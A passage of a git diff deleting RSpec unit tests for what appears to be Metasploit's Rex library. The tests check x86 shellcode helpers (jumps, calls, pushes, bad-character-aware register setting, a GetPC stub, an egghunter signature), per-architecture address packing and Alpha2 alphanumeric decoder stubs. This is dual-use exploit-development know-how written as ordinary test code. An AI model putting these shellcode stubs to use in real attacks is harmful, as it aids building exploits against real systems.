expect { subject }.to raise_error(TypeError) - end - end - end - end - - describe ".jmp" do - subject { described_class.jmp(addr) } - - context "addr is number" do - let(:addr) { 0x41424344 } - it { is_expected.to eq("\xE9\x44\x43\x42\x41") } - end - - context "addr is string" do - context "starting with $+" do - let(:addr) { "$+200" } - it { is_expected.to eq("\xe9\xc8\x00\x00\x00") } - end - - context "$+" do - let(:addr) { "$+" } - it { is_expected.to eq("\xe9\x00\x00\x00\x00") } - end - - context "starting with $-" do - let(:addr) { "$-20" } - it { is_expected.to eq("\xe9\xec\xff\xff\xff") } - end - - context "$-" do - let(:addr) { "$-" } - it { is_expected.to eq("\xe9\x00\x00\x00\x00") } - end - - context "starting with 0x" do - let(:addr) { "0x41424344" } - it { is_expected.to eq("\xe9\x44\x43\x42\x41") } - end - - context "0x" do - let(:addr) { "0x" } - it { is_expected.to eq("\xe9\x00\x00\x00\x00") } - end - - context "starting in another way" do - let(:addr) { "20" } - it "raises error" do - expect { subject }.to raise_error(TypeError) - end - end - end - end - - describe ".dword_adjust" do - - context "when one byte string is sent as dword" do - subject { described_class.dword_adjust(dword) } - let(:dword) { "\xff"} - - it "raises error" do - expect { subject }.to raise_error(NoMethodError) - end - end - - context "when amount argument isn't set" do - subject { described_class.dword_adjust(dword) } - let(:dword) { "\xff\xff\xff\xff"} - - it "returns the same dword packed" do - is_expected.to eq("\xff\xff\xff\xff") - end - end - - context "when amount argument is set" do - subject { described_class.dword_adjust(dword, amount) } - - context "and doesn't overflow" do - let(:dword) { "\x41\x42\x43\x44" } - let(:amount) { 2 } - - it "returns the incremented dword packed" do - is_expected.to eq("\x43\x42\x43\x44") - end - end - - context "and overflows" do - let(:dword) { "\xff\xff\xff\xff" } - let(:amount) { 1 } - - it "truncates" do - is_expected.to eq("\x00\x00\x00\x00") - end - end - end - end - - describe ".searcher" do - subject { described_class.searcher(tag) } - - context "when tag is between '\\x00\\x00\\x00\\x00' and '\\xff\\xff\\xff\\xff'" do - let(:signature) do - "\x39\x37\x75\xfb\x46" - end - - let(:tag) do - [0x41424344].pack("V") - end - - it "returns the searcher routine" do - is_expected.to include(signature) - end - end - - context "when tag is '\\x00\\x00\\x00\\x00'" do - let(:tag) do - [0x00000000].pack("V") - end - - let(:signature) do - "\xbe\xff\xff\xff\xff" - end - - it "initializes an underflowed esi" do - is_expected.to include(signature) - end - end - end - - describe ".push_dword" do - subject { described_class.push_dword(val) } - let(:val) { 0x41424344 } - it "returns a push dword instruction" do - is_expected.to eq("\x68\x44\x43\x42\x41") - end - end - - describe ".copy_to_stack" do - subject { described_class.copy_to_stack(len) } - - context "when len argument is four byte aligned" do - let(:len) { 4 } - it "returns 'copy_to_stack' snippet" do - is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") - end - end - - context "when len argument isn't four byte aligned" do - let(:len) { 3 } - it "returns snippet with len aligned" do - is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") - end - end - end - - describe ".jmp_short" do - subject { described_class.jmp_short(addr) } - - context "when addr is number" do - context "one byte length" do - let(:addr) { 0x00 } - it "returns the jmp instr to the addr" do - is_expected.to eq("\xeb\x00") - end - end - - context "> one byte length" do - let(:addr) { 0x4142 } - it "returns the jmp instr to the addr truncated" do - is_expected.to eq("\xeb\x42") - end - end - end - - context "when addr is string" do - context "starting with $+" do - let(:addr) { "$+4" } - it { is_expected.to eq("\xeb\x2") } - end - - context "$+" do - let(:addr) { "$+" } - it { is_expected.to eq("\xeb\xfe") } - end - - context "starting with $-" do - let(:addr) { "$-2" } - it { is_expected.to eq("\xeb\xfc") } - end - - context "$-" do - let(:addr) { "$-" } - it { is_expected.to eq("\xeb\xfe") } - end - - context "starting with 0x" do - let(:addr) { "0x41" } - it { is_expected.to eq("\xeb\x3f") } - end - - context "0x" do - let(:addr) { "0x" } - it { is_expected.to eq("\xeb\xfe") } - end - - context "with a two bytes number" do - let(:addr) { "0x4142" } - it "truncates" do - is_expected.to eq("\xeb\x40") - end - end - - context "starting in another way" do - let(:addr) { "20" } - it "raises error" do - expect { subject }.to raise_error(TypeError) - end - end - end - end - - describe ".call" do - subject { described_class.call(addr) } - - context "addr is number" do - let(:addr) { 0x41424344 } - it { is_expected.to eq("\xE8\x44\x43\x42\x41") } - end - - context "addr is string" do - context "starting with $+" do - let(:addr) { "$+200" } - it { is_expected.to eq("\xe8\xc3\x00\x00\x00") } - end - - context "$+" do - let(:addr) { "$+" } - it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } - end - - context "starting with $-" do - let(:addr) { "$-20" } - it { is_expected.to eq("\xe8\xe7\xff\xff\xff") } - end - - context "$-" do - let(:addr) { "$-" } - it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } - end - - context "starting with 0x" do - let(:addr) { "0x41424344" } - it { is_expected.to eq("\xe8\x3f\x43\x42\x41") } - end - - context "0x" do - let(:addr) { "0x" } - it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } - end - - context "starting in another way" do - let(:addr) { "20" } - it "raises error" do - expect { subject }.to raise_error(TypeError) - end - end - end - end - - describe ".reg_name32" do - subject { described_class.reg_name32(num) } - - context "when reg id is valid" do - let(:num) { rand(7) } - it { is_expected.to be_an(String) } - end - - context "when reg id isn't valid" do - let(:num) { 29 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - end - - describe ".encode_effective" do - subject { described_class.encode_effective(shift, reg) } - - let(:shift) { 0 } - let(:reg) { Rex::Arch::X86::ECX } - - it "encodes the effective value for a register" do - is_expected.to eq(0xc0 | (shift << 3) | reg) - end - end - - describe ".encode_modrm" do - subject { described_class.encode_modrm(dst, src) } - - context "when dst is an invalid register" do - let(:dst) { 31337 } - let(:src) { Rex::Arch::X86::ECX } - it { expect { subject }.to raise_error(ArgumentError) } - end - - context "when src is an invalid register" do - let(:dst) { Rex::Arch::X86::ECX } - let(:src) { 31337 } - it { expect { subject }.to raise_error(ArgumentError) } - end - - context "when dst and src are valid registers" do - let(:dst) { Rex::Arch::X86::ECX } - let(:src) { Rex::Arch::X86::EAX } - it "generates the mod r/m character" do - is_expected.to eq((0xc8).chr) - end - end - end - - describe ".push_byte" do - subject { described_class.push_byte(byte) } - - context "when byte is out of range" do - let(:byte) { 0x100 } - it { expect { subject }.to raise_error(::ArgumentError) } - end - - context "when byte is in range" do - let(:byte) { 127 } - it "generates correct instruction" do - is_expected.to eq("\x6a\x7f") - end - end - end - - describe ".push_word" do - subject { described_class.push_word(val) } - - context "when val is a word" do - let(:val) { 0x4142 } - it "generates push instruction" do - is_expected.to eq("\x66\x68\x42\x41") - end - end - - context "when val is bigger than word" do - let(:val) { 0x41424344 } - it "generates push instruction with val truncated" do - is_expected.to eq("\x66\x68\x44\x43") - end - end - end - - describe ".push_dword" do - subject { described_class.push_dword(val) } - - context "when val is a dword" do - let(:val) { 0x41424344 } - it "generates push instruction" do - is_expected.to eq("\x68\x44\x43\x42\x41") - end - end - - context "when val is bigger than dword" do - let(:val) { 0x100000000 } - it "generates push instruction with val truncated" do - is_expected.to eq("\x68\x00\x00\x00\x00") - end - end - end - - describe ".pop_dword" do - subject { described_class.pop_dword(reg) } - - context "when reg is invalid" do - let(:reg) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "reg is valid" do - let(:reg) { Rex::Arch::X86::ECX } - it "generates pop instruction" do - is_expected.to eq("\x59") - end - end - end - - describe ".clear" do - subject { described_class.clear(reg, badchars) } - let(:reg) { Rex::Arch::X86::ECX } - let(:badchars) { '' } - - it "returns a clear instruction" do - expect(subject).to be_an(String) - end - - context "when reg is invalid" do - let(:reg) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when too many badchars" do - let(:badchars) { (0x00..0xff).to_a.pack("C*") } - it "raises an error" do - expect { subject }.to raise_error(RuntimeError) - end - end - end - - - describe ".mov_byte" do - subject { described_class.mov_byte(reg, val) } - let(:reg) { Rex::Arch::X86::ECX } - let(:val) { 3 } - - it "generates a mov instruction" do - is_expected.to eq("\xb1\x03") - end - - context "when reg is invalid" do - let(:reg) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when val is out of range" do - let(:val) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(RangeError) - end - end - end - - describe ".mov_word" do - subject { described_class.mov_word(reg, val) } - - let(:reg) { Rex::Arch::X86::ECX } - let(:val) { 0x4142 } - - it "generates a mov instruction" do - is_expected.to eq("\x66\xb9\x42\x41") - end - - context "when reg is invalid" do - let(:reg) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when val is out of range" do - let(:val) { 0x41424344 } - it "raises an error" do - expect { subject }.to raise_error(RangeError) - end - end - end - - - describe ".mov_dword" do - subject { described_class.mov_dword(reg, val) } - - let(:reg) { Rex::Arch::X86::ECX } - let(:val) { 0x41424344 } - it "generates a mov instruction" do - is_expected.to eq("\xb9\x44\x43\x42\x41") - end - - context "when reg is invalid" do - let(:reg) { 31337 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when val is out of range" do - let(:val) { 0x100000000 } - it "truncates value" do - is_expected.to eq("\xb9\x00\x00\x00\x00") - end - end - end - - describe ".set" do - subject { described_class.set(reg, val, badchars) } - - context "when reg is invalid" do - let(:reg) { 31337 } - let(:val) { 100 } - let(:badchars) { '' } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when val is 0" do - let(:reg) { Rex::Arch::X86::ECX } - let(:val) { 0 } - - context "when no badchars" do - let(:badchars) { '' } - it "uses xor/sub instructions" do - expect(subject.length).to eq(2) - end - end - - context "when xor/sub opcodes are badchars" do - let(:badchars) { "\x29\x2b\x31\x33" } - - it "uses push byte/pop instructions" do - expect(subject.length).to eq(3) - end - end - - context "when xor/sub/push byte opcodes are badchars" do - let(:badchars) { "\x29\x2b\x31\x33\x6a" } - - it "uses mov dword instruction" do - expect(subject.length).to eq(5) - end - end - - context "when xor/sub/push byte/mov dword opcodes are badchars" do - let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9" } - - it "uses push dword / pop instructions" do - expect(subject.length).to eq(6) - end - end - - context "when xor/sub/push byte/mov dword opcodes/push dword are badchars" do - let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9\x68" } - - it "uses clear / mov word instructions" do - expect { subject.length }.to raise_error(RuntimeError) - end - end - end - - context "when val isn't 0" do - let(:reg) { Rex::Arch::X86::ECX } - let(:val) { 75 } - - context "when no badchars" do - let(:badchars) { '' } - it "uses push byte/pop instructions" do - expect(subject.length).to eq(3) - end - end - - context "when push byte opcodes are badchars" do - let(:badchars) { "\x6a" } - - it "uses clear/mov byte instruction" do - expect(subject.length).to eq(4) - end - end - - context "when push byte/mov byte opcodes are badchars" do - let(:badchars) { "\x6a\xb1" } - - it "uses mov dword instruction" do - expect(subject.length).to eq(5) - end - end - - context "when push byte/mov byte/mov dword opcodes are badchars" do - let(:badchars) { "\x6a\xb1\xb9" } - - it "it uses push dword/pop dst instructions" do - expect(subject.length).to eq(6) - end - end - - context "when push byte/mov byte/mov dword/push dword opcodes are badchars" do - let(:badchars) { "\x6a\xb1\xb9\x68" } - - it "raises an error" do - expect { subject.length }.to raise_error(RuntimeError) - end - end - end - end - - describe ".sub" do - subject { described_class.sub(val, reg) } - - context "when reg is valid" do - let(:reg) { Rex::Arch::X86::ECX } - - context "when val is one byte" do - let(:val) { 0x08 } - it { is_expected.to include("\x83") } - end - - context "when val is bigger than one byte" do - let(:val) { 0x4142 } - it { is_expected.to include("\x81") } - end - - context "when there are too many badchars" do - subject(:with_badchars) { described_class.sub(val, reg, badchars) } - let(:val) { 0x08 } - let(:reg) { Rex::Arch::X86::ECX } - let(:badchars) { "\x81\x83" } - it { expect(with_badchars).to be_nil } - end - end - - context "when reg is invalid" do - let(:reg) { 31337 } - let(:val) { 0x7 } - it { expect {subject}.to raise_error(ArgumentError) } - end - - end - - describe ".add" do - subject { described_class.add(val, reg) } - - context "when reg is valid" do - let(:reg) { Rex::Arch::X86::ECX } - - context "when val is one byte" do - let(:val) { 0x08 } - it { is_expected.to include("\x83") } - end - - context "when val is bigger than one byte" do - let(:val) { 0x4142 } - it { is_expected.to include("\x81") } - end - - context "when there are too many badchars" do - subject(:with_badchars) { described_class.add(val, reg, badchars) } - let(:val) { 0x08 } - let(:reg) { Rex::Arch::X86::ECX } - let(:badchars) { "\x81\x83" } - it { expect(with_badchars).to be_nil } - end - end - - context "when reg is invalid" do - let(:reg) { 31337 } - let(:val) { 0x7 } - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - end - - describe ".adjust_reg" do - subject { described_class.adjust_reg(reg, adjustment) } - - context "when reg is invalid" do - let(:reg) { 31337 } - let(:adjustment) { 0x8 } - - it "raises an error" do - expect { subject }.to raise_error(ArgumentError) - end - end - - context "when adjustment is > 0" do - let(:reg) { Rex::Arch::X86::ECX } - let(:adjustment) { 0x8 } - - it { is_expected.to include("\x81") } - it { expect(subject.length).to eq(8) } - end - - context "when adjusmtent is <= 0" do - let(:reg) { Rex::Arch::X86::ECX } - let(:adjustment) { 0 } - - it { is_expected.to include("\x81") } - it { expect(subject.length).to eq(6) } - end - end - - describe ".geteip_fpu" do - subject { described_class.geteip_fpu(badchars) } - - context "when no badchars" do - let(:badchars) { '' } - - it "returns an Array" do - is_expected.to be_an Array - end - - it "returns the stub as first element" do - expect(subject[0]).to be_an String - end - - it "returns a register as second element" do - expect(subject[1]).to be_an String - end - - it "returns a register as third element" do - expect(subject[2]).to be_an Fixnum - end - - context "when modified_registers passed" do - let(:modified_registers) { [] } - it "add modified registers" do - described_class.geteip_fpu(badchars, modified_registers) - expect(modified_registers).to_not be_empty - end - - it "modifies 2 or 3 registers" do - described_class.geteip_fpu(badchars, modified_registers) - expect(modified_registers.length).to be_between(2, 3) - end - - it "modifies ESP" do - described_class.geteip_fpu(badchars, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ESP) - end - end - end - - context "when too many badchars" do - let(:badchars) { (0x00..0xff).to_a.pack("C*") } - - it { is_expected.to be_nil } - - context "when modified_registers passed" do - let(:modified_registers) { [] } - it "doesn't add any register" do - described_class.geteip_fpu(badchars, modified_registers) - expect(modified_registers).to be_empty - end - end - end - end - -end diff --git a/spec/lib/rex/arch/zarch_spec.rb b/spec/lib/rex/arch/zarch_spec.rb deleted file mode 100644 index 03d09d3a8c..0000000000 --- a/spec/lib/rex/arch/zarch_spec.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' -require 'rex/arch' - -RSpec.describe Rex::Arch do - describe ".pack_addr" do - subject { described_class.pack_addr(arch, addr) } - - context "when arch is ARCH_ZARCH" do - let(:arch) { ARCH_ZARCH } - let(:addr) { 0xdeadbeefbe655321 } - it "packs addr as 64-bit unsigned, big-endian" do - is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!") - end - end - end -end diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb deleted file mode 100644 index f7b958b974..0000000000 --- a/spec/lib/rex/arch_spec.rb +++ /dev/null @@ -1,177 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/arch' - -RSpec.describe Rex::Arch do - - describe ".adjust_stack_pointer" do - subject { described_class.adjust_stack_pointer(arch, adjustment) } - let(:adjustment) { 100 } - - context "when arch is ARCH_X86" do - let(:arch) { ARCH_X86 } - - it "emits an ESP adjustment instruction" do - is_expected.to be_a_kind_of(String) - end - end - - context "when arch isn't ARCH_X86" do - let(:arch) { ARCH_FIREFOX } - - it "returns nil" do - is_expected.to be_nil - end - end - - context "when arch is an array" do - let(:arch) { [ARCH_X86, ARCH_FIREFOX] } - - it "uses the first arch in the array" do - is_expected.to be_a_kind_of(String) - end - end - end - - describe ".pack_addr" do - subject { described_class.pack_addr(arch, addr) } - - context "when arch is ARCH_X86" do - let(:arch) { ARCH_X86 } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, little-endian" do - is_expected.to eq("DCBA") - end - end - - context "when arch is ARCH_X86_64" do - let(:arch) { ARCH_X86_64 } - let(:addr) { 0x4142434445464748 } - it "packs addr as 62-bit unsigned, little-endian" do - is_expected.to eq("HGFEDCBA") - end - end - - context "when arch is ARCH_X64" do - let(:arch) { ARCH_X64 } - let(:addr) { 0x4142434445464748 } - it "packs addr as 62-bit unsigned, little-endian" do - is_expected.to eq("HGFEDCBA") - end - end - - context "when arch is ARCH_MIPS" do - let(:arch) { ARCH_MIPS } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to eq("ABCD") - end - end - - context "when arch is ARCH_MIPSBE" do - let(:arch) { ARCH_MIPSBE } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to eq("ABCD") - end - end - - context "when arch is ARCH_MIPSLE" do - let(:arch) { ARCH_MIPSLE } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, little-endian" do - is_expected.to eq("DCBA") - end - end - - context "when arch is ARCH_PPC" do - let(:arch) { ARCH_PPC } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to eq("ABCD") - end - end - - context "when arch is ARCH_SPARC" do - let(:arch) { ARCH_SPARC } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to eq("ABCD") - end - end - - context "when arch is ARCH_ARMLE" do - let(:arch) { ARCH_ARMLE } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, little-endian" do - is_expected.to eq("DCBA") - end - end - - context "when arch is ARCH_ARMBE" do - let(:arch) { ARCH_ARMBE } - let(:addr) { 0x41424344 } - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to eq("ABCD") - end - end - - context "when arch is invalid" do - let(:arch) { ARCH_FIREFOX } - let(:addr) { 0x41424344 } - - it "packs addr as 32-bit unsigned, big-endian" do - is_expected.to be_nil - end - end - - context "when arch is an Array" do - let(:arch) { [ARCH_ARMLE, ARCH_ARMBE, ARCH_X86_64] } - let(:addr) { 0x41424344 } - it "packs addr using the first architecture in the array" do - is_expected.to eq("DCBA") - end - end - end - - describe ".endian" do - - let(:endianesses) do - { - ARCH_X86 => ENDIAN_LITTLE, - ARCH_X86_64 => ENDIAN_LITTLE, - ARCH_MIPS => ENDIAN_BIG, - ARCH_MIPSLE => ENDIAN_LITTLE, - ARCH_MIPSBE => ENDIAN_BIG, - ARCH_PPC => ENDIAN_BIG, - ARCH_SPARC => ENDIAN_BIG, - ARCH_ARMLE => ENDIAN_LITTLE, - ARCH_ARMBE => ENDIAN_BIG - } - end - subject { described_class.endian(arch) } - - context "when recognized arch" do - it "returns its endianess" do - endianesses.each_key do |arch| - expect(described_class.endian(arch)).to eq(endianesses[arch]) - end - end - end - - context "when not recognized arch" do - let(:arch) { ARCH_FIREFOX } - it "returns ENDIAN_LITTLE" do - is_expected.to eq(ENDIAN_LITTLE) - end - end - - context "when arch is an array" do - let(:arch) { [ARCH_X86, ARCH_MIPSBE] } - it "returns first arch endianess" do - is_expected.to eq(ENDIAN_LITTLE) - end - end - end -end diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb deleted file mode 100644 index 521f40867d..0000000000 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ /dev/null @@ -1,284 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/alpha2/alpha_mixed' - -RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do - - it_behaves_like 'Rex::Encoder::Alpha2::Generic' - - let(:decoder_stub) do - "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" - end - - let(:reg_signature) do - { - 'EAX' => 'PY', - 'ECX' => 'I', - 'EDX' => '7RY', - 'EBX' => 'SY', - 'ESP' => 'TY', - 'EBP' => 'UY', - 'ESI' => 'VY', - 'EDI' => 'WY' - } - end - - describe ".gen_decoder_prefix" do - subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(ArgumentError) - end - end - - context "when offset is bigger than 32" do - let(:reg) { 'ECX' } - let(:offset) { 33 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(RuntimeError) - end - end - - context "when modified_registers is passed" do - context "when reg is ECX" do - context "when offset is 10" do - let(:reg) { 'ECX' } - let(:offset) { 10 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 5" do - let(:reg) { 'ECX' } - let(:offset) { 5 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 0" do - let(:reg) { 'ECX' } - let(:offset) { 0 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "doesn't mark EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to_not include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 15" do - let(:reg) { 'ECX' } - let(:offset) { 15 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - end - - context "when reg is EDX" do - context "when offset is 10" do - let(:reg) { 'EDX' } - let(:offset) { 10 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 5" do - let(:reg) { 'EDX' } - let(:offset) { 5 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 0" do - let(:reg) { 'EDX' } - let(:offset) { 0 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "doesn't mark EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to_not include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 15" do - let(:reg) { 'EDX' } - let(:offset) { 15 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - end - end - end - - - describe ".gen_decoder" do - subject(:decoder) { described_class.gen_decoder(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns the alpha upper decoder" do - is_expected.to include(decoder_stub) - end - - it "uses the correct decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder }.to raise_error(ArgumentError) - end - end - - context "when offset is bigger than 32" do - let(:reg) { 'ECX' } - let(:offset) { 33 } - - it "raises an error" do - expect { decoder }.to raise_error(RuntimeError) - end - end - - context "when modified_registers passed" do - let(:modified_registers) { [] } - it "marks EDX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - - it "marks ECX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EAX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EAX) - end - - it "marks ESP as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ESP) - end - end - end -end diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb deleted file mode 100644 index 98d938a279..0000000000 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ /dev/null @@ -1,296 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/alpha2/alpha_upper' - -RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do - - it_behaves_like 'Rex::Encoder::Alpha2::Generic' - - let(:decoder_stub) do - "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI" - end - - let(:reg_signature) do - { - 'EAX' => 'PY', - 'ECX' => 'I', - 'EDX' => 'RY', - 'EBX' => 'SY', - 'ESP' => 'TY', - 'EBP' => 'UY', - 'ESI' => 'VY', - 'EDI' => 'WY' - } - end - - describe ".default_accepted_chars" do - subject { described_class.default_accepted_chars } - - it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } - end - - describe ".gen_decoder_prefix" do - subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(ArgumentError) - end - end - - context "when offset is bigger than 20" do - let(:reg) { 'ECX' } - let(:offset) { 25 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(RuntimeError) - end - end - - context "when modified_registers is passed" do - context "when reg is ECX" do - context "when offset is 10" do - let(:reg) { 'ECX' } - let(:offset) { 10 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 5" do - let(:reg) { 'ECX' } - let(:offset) { 5 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 0" do - let(:reg) { 'ECX' } - let(:offset) { 0 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "doesn't mark EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to_not include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 15" do - let(:reg) { 'ECX' } - let(:offset) { 15 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to 